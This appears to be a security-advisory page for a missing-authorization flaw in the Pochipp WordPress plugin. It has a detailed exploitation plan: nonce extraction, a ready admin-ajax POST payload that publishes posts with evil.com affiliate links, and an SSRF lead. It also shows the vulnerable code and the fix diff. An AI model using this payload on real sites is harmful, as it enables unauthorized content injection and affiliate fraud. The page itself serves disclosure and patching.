Pochipp < 1.18.9 - Missing Authorization
Description
The Pochipp plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to 1.18.9. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.18.9
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-32417 (Pochipp Missing Authorization) ## 1. Vulnerability Summary The Pochipp plugin for WordPress (versions < 1.18.9) contains a missing authorization vulnerability in its AJAX handlers. Specifically, functions registered to `wp_ajax_pochipp_update_data` and …
Show full research plan
Exploitation Research Plan: CVE-2026-32417 (Pochipp Missing Authorization)
1. Vulnerability Summary
The Pochipp plugin for WordPress (versions < 1.18.9) contains a missing authorization vulnerability in its AJAX handlers. Specifically, functions registered to wp_ajax_pochipp_update_data and wp_ajax_pochipp_registerd_by_block perform a nonce check but fail to implement a capability check (e.g., current_user_can()). This allow any authenticated user, including those with Subscriber-level privileges, to create new Pochipp product posts or update product data.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
pochipp_registerd_by_block(High Impact) andpochipp_update_data(Medium Impact). - Authentication: Authenticated (Subscriber+).
- Payload Parameter:
action:pochipp_registerd_by_blocknonce: A valid WordPress nonce for the action.attributes: A JSON-encoded string containing product data.clientId: A string identifier used for the post title fallback.
- Preconditions: The attacker must be logged in to the WordPress site.
3. Code Flow
- Entry Point: A POST request is sent to
admin-ajax.phpwithaction=pochipp_registerd_by_block. - Hook Registration: In
inc/ajax.php,add_action( 'wp_ajax_pochipp_registerd_by_block', '\POCHIPP\registerd_by_block' )routes the request. - Nonce Check: The function
\POCHIPP\registerd_by_blockcalls\POCHIPP\check_ajax_nonce(). This function verifies thenonceparameter against\POCHIPP::NONCE_KEY. - Missing Check: The function proceeds directly to process input without calling
current_user_can(). - Data Processing:
- The
attributesparameter is retrieved and JSON-decoded. pid(Post ID) is checked; if present, it returns an error (preventing updates via this specific function, but allowing creation).- Meta fields like
className,pid,hideInfo, etc., are unset from the array.
- The
- Sink (Post Creation):
wp_insert_post()is called withpost_typeset to\POCHIPP::POST_TYPE_SLUG(typicallypochipp) andpost_statusset topublish. - Sink (Meta Storage):
update_post_meta()is called using\POCHIPP::META_SLUGto store the remainingattributesas a JSON string.
4. Nonce Acquisition Strategy
The nonce is required. Based on standard Pochipp behavior, nonces are localized for the block editor.
- Identify Script Localization: The plugin likely uses
wp_localize_scriptto pass a nonce to the editor. We need to find the variable name. - Strategy:
- Create a Subscriber user.
- Log in as the Subscriber.
- Navigate to the WordPress Dashboard (
/wp-admin/). - Since the block editor scripts are often enqueued for all users who can access the dashboard or specific post-editing screens, check for a global variable.
- Search for a script containing
pochipp. The common localization object name is likelypochipporpochipp_data(inferred). - Use
browser_evalto find the nonce:// Search for any object containing the nonce Object.keys(window).find(key => window[key] && window[key].nonce); // or specifically window.pochipp?.nonce - Based on
inc/ajax.php, the default nonce key is\POCHIPP::NONCE_KEY.
5. Exploitation Strategy
Goal: Create an unauthorized product post.
- Setup: Authenticate as a Subscriber.
- Extraction: Extract the nonce from the
wp-admindashboard source or viabrowser_eval. - Request:
- URL:
http://<target>/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=pochipp_registerd_by_block&nonce=<EXTRACTED_NONCE>&clientId=exploit_client&attributes={"title":"Malicious Product","amazon_url":"https://evil.com/ref=hack","rakuten_url":"https://evil.com/rakuten"}
- URL:
- Response: A successful response will return a JSON object with the new post ID:
{"pid":123}.
6. Test Data Setup
- User: Create a user with the
subscriberrole. - Plugin Configuration: No specific configuration is needed, but the plugin must be active so that the
pochipppost type is registered.
7. Expected Results
- The
admin-ajax.phpresponse should be a JSON object containing apid(e.g.,{"pid": 105}). - The response code should be
200 OK. - Accessing
wp-admin(as an admin) and checking the Pochipp product list should show a new entry titled "Malicious Product".
8. Verification Steps
- Check Post Existence:
(Verify the new ID and title exist).wp post list --post_type=pochipp --fields=ID,post_title,post_status - Check Meta Data:
(Verify the JSON-encoded URLs/attributes were saved).wp post meta get <NEW_PID> pochipp_data
9. Alternative Approaches
If pochipp_registerd_by_block fails, attempt exploitation via pochipp_update_data:
- Action:
pochipp_update_data - Body:
action=pochipp_update_data&nonce=<NONCE>&itemcode=ANY_STRING&searched_at=amazon - Goal: This may trigger an SSRF if
\POCHIPP::get_item_datafetches external URLs based on theitemcode. While the primary vulnerability is Missing Authorization, the logic insideget_item_datashould be audited for further impact.
Constants to Verify During Execution:
\POCHIPP::POST_TYPE_SLUG(Likelypochipp)\POCHIPP::META_SLUG(Likelypochipp_data)\POCHIPP::NONCE_KEY(Likelypochipp_nonce)
Summary
The Pochipp plugin for WordPress fails to implement capability checks in its AJAX handlers, allowing authenticated users with Subscriber-level permissions to create or update product posts. By exploiting the 'pochipp_registerd_by_block' or 'pochipp_update_data' actions, an attacker can inject arbitrary product metadata and publish new items to the site.
Vulnerable Code
// inc/ajax.php line 44 add_action( 'wp_ajax_pochipp_update_data', '\POCHIPP\update_data' ); function update_data() { if ( ! \POCHIPP\check_ajax_nonce() ) { wp_die( json_encode( [ 'error' => [ 'code' => 'nonce error', 'message' => '不正なアクセスです。', ], ] ) ); }; // ... processes data ... wp_die( json_encode( [ 'data' => $datas[0], ] ) ); } --- // inc/ajax.php line 91 add_action( 'wp_ajax_pochipp_registerd_by_block', '\POCHIPP\registerd_by_block' ); function registerd_by_block() { if ( ! \POCHIPP\check_ajax_nonce() ) { wp_die( json_encode( [ 'error' => [ 'code' => 'nonce error', 'message' => '不正なアクセスです。', ], ] ) ); }; $datas = []; $attrs = \POCHIPP\get_sanitized_data( $_POST, 'attributes', 'text', '' ); $client_id = \POCHIPP\get_sanitized_data( $_POST, 'clientId', 'text', '' ); // ... processes attributes ... $new_id = wp_insert_post( [ 'post_type' => \POCHIPP::POST_TYPE_SLUG, 'post_title' => $title, 'post_content' => '<!-- wp:pochipp/setting /-->', 'post_status' => 'publish', ] ); // ... updates meta ... update_post_meta( $new_id, \POCHIPP::META_SLUG, json_encode( $attrs, JSON_UNESCAPED_UNICODE ) ); wp_die( json_encode( [ 'pid' => $new_id, ] ) ); }
Security Fix
@@ -25,6 +25,30 @@ return false; } +/** + * ポチップ商品の作成・公開権限があるか + */ +function can_create_pochipp_item() { + + $post_type_object = get_post_type_object( \POCHIPP::POST_TYPE_SLUG ); + + if ( ! $post_type_object || empty( $post_type_object->cap ) ) { + return current_user_can( 'publish_pages' ); + } + + if ( ! empty( $post_type_object->cap->create_posts ) ) { + $create_cap = $post_type_object->cap->create_posts; + } elseif ( ! empty( $post_type_object->cap->edit_posts ) ) { + $create_cap = $post_type_object->cap->edit_posts; + } else { + $create_cap = 'edit_pages'; + } + + $publish_cap = ! empty( $post_type_object->cap->publish_posts ) ? $post_type_object->cap->publish_posts : 'publish_pages'; + + return current_user_can( $create_cap ) && current_user_can( $publish_cap ); +} + require_once POCHIPP_PATH . 'inc/ajax/auto_update.php'; require_once POCHIPP_PATH . 'inc/ajax/search_amazon.php'; require_once POCHIPP_PATH . 'inc/ajax/search_rakuten.php'; @@ -72,6 +96,15 @@ add_action( 'wp_ajax_pochipp_registerd_by_block', '\POCHIPP\registerd_by_block' ); function registerd_by_block() { + if ( ! \POCHIPP\can_create_pochipp_item() ) { + wp_die( json_encode( [ + 'error' => [ + 'code' => 'forbidden', + 'message' => 'この操作を実行する権限がありません。', + ], + ] ) ); + } + if ( ! \POCHIPP\check_ajax_nonce() ) { wp_die( json_encode( [ 'error' => [
Exploit Outline
To exploit this vulnerability, an attacker first authenticates as a Subscriber-level user. They then obtain a valid AJAX nonce by inspecting the localized scripts in the WordPress dashboard (typically associated with the Pochipp block editor script). With this nonce, the attacker sends a POST request to '/wp-admin/admin-ajax.php' with the 'action' parameter set to 'pochipp_registerd_by_block'. The payload includes the 'nonce' and a JSON-encoded 'attributes' string containing the desired product title and affiliate URLs. Because the plugin does not verify if the user has the 'publish_posts' capability for the Pochipp post type, it will create a new published post containing the attacker's metadata.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.